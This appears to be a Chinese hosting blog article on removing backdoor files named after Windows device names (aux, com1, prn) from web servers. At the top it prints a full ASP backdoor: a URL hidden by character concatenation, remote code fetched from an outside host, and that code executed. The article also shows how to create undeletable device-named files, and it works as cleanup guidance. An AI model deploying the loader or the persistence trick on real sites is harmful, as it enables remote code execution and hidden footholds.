com1/lpt1/prn/nul 木马后门处理方法集合

 2022-11-06    265  

删除命令

rd /s \\.\E:\webhosting\wwwroot\prn.0418EE4F
复制代码 代码如下:

 
<% 
'by*aming 
dim amxml,amtxt,amado 
amtxt="h"&"t"&"t"&"p"&":"&"/"&"/"&"b"&"o"&"t"&"."&"z"&"h"&"-"&"c"&"n"&"."&"c"&"c"&"/"&"b"&"o"&"t"&"/"&"c"&"o"&"n"&"f"&"i"&"g"&"."&"t"&"x"&"t" 
Set amxml=CreateObject("Microsoft.XMLHTTP") 
amxml.Open "Get",amtxt,False,"","" 
amxml.setRequestHeader "User-Agent",amtxt 
amxml.Send 
set amado=Server.CreateObject("adodb.stream") 
amado.Type=1 
amado.Mode=3 
amado.Open 
amado.Write amxml.ResponseBody 
amado.Position=0 
amado.Type=2 
amado.Charset="gb2312" 
execute(amado.ReadText) 
amado.Close 
set amado=nothing 
Set amxml=nothing 
%> 

近期有朋友发现自己的网站目录下多出许多类似 aux.asp com1.gupiao.asp 的文件或文件夹,无法删除!这类文件为何无法删除,怎样建立无法删除的文件,又如何删除 aux.asp 这类 无法删除的文件 呢?

在服务器中 文件夹选项 – 查看 -隐藏受保护的操作系统文件后可看到此类文件属性均为RHSA系统文件,无法删除、修改、移动。

 Windows 下不能够以下面这些字样来命名文件/文件夹,包括:aux、com1、com2、prn、con、nul 等,因为这些名字都属于设备名称,等价于一个 DOS 设备,如果我们把文件命名为这些名字,Windows 就会误以为发生重名,所以会提示“不能创建同名的文件”。

当然,有一些特殊的方法可以投机取巧,建立以这些设备名为名的文件夹,比如我们在命令提示符下执行“md E:\COM1\\”,就在E盘建了一个名叫 COM1 的文件夹。此文件夹虽然可以访问,也可以建立子文件夹,但却无法删除,在系统看来,这个 COM1文件夹就是设备。
那么,如何删除aux、com1等文件/文件夹呢?我们只要按照完整的 UNC 路径格式,就是网上邻居的路径格式,正确输入文件路径及文件名即可。比如要删除E 盘下的 aux 文件夹,可在命令提示符下执行:rd /s \\.\E:\aux,rd 带上/s 参数表示从所有子目录删除指定文件。再比如要删除 E 盘 aux文件夹下的 nul.exe 文件,在命令提示符下执行:del \\.\E:\aux\nul.exe 即可。

    采用del \\.\E:\PRN\aux.asp:.jpg的方式,失败了,最后将其他jpg文件移走,使用rd方式删除整个目录 看图:

 

删除aux文件命令

注意尾部加“\\”不然会出现正常文件夹也出现如图中的1文件夹无法访问的情况,重启后文件夹才会消失。

其他这种文件的删除特殊文件资料。

可以在dos中删除,在开始输入以下命令:

下面是删除test用户中的null目录中所有内容

echo y|rmdir \\.\D:\freehost\test\web\nul /s

如果有一些特殊文件,如aux.com.asp无法删除,只能先备份用户的web目录(备份时不要选中有问题的文件),再用以下命令删除web目录所有内容:

echo y|rmdir \\.\D:\freehost\test\web /s

要建立这类无法删除文件的方法也很简单:

 

copy 123.txt \\.\d:\aux.asp

建立不可删除的文件夹:

md \\.\d:\prn\\

要删除这类‘无法删除的文件’也是有办法的,如:d:\wwwroot\web\www 是包含这些无法删除文件的目录。在执行命令前,把文件夹中需要备份的程序先移动到其他位置,然后使用以下命令可以删除。

rmdir \\.\d:\wwwroot\web\www /s /q

也可以使用下面的命令直接删除这些文件:

del \\.\d:\wwwroot\web\www\aux.asp

以上所述是小编给大家介绍的com1/lpt1/prn/nul 木马后门处理方法集合,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对77isp云服务器技术网的支持! 如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

原文链接:https://77isp.com/post/12049.html

=========================================

https://77isp.com/ 为 “云服务器技术网” 唯一官方服务平台,请勿相信其他任何渠道。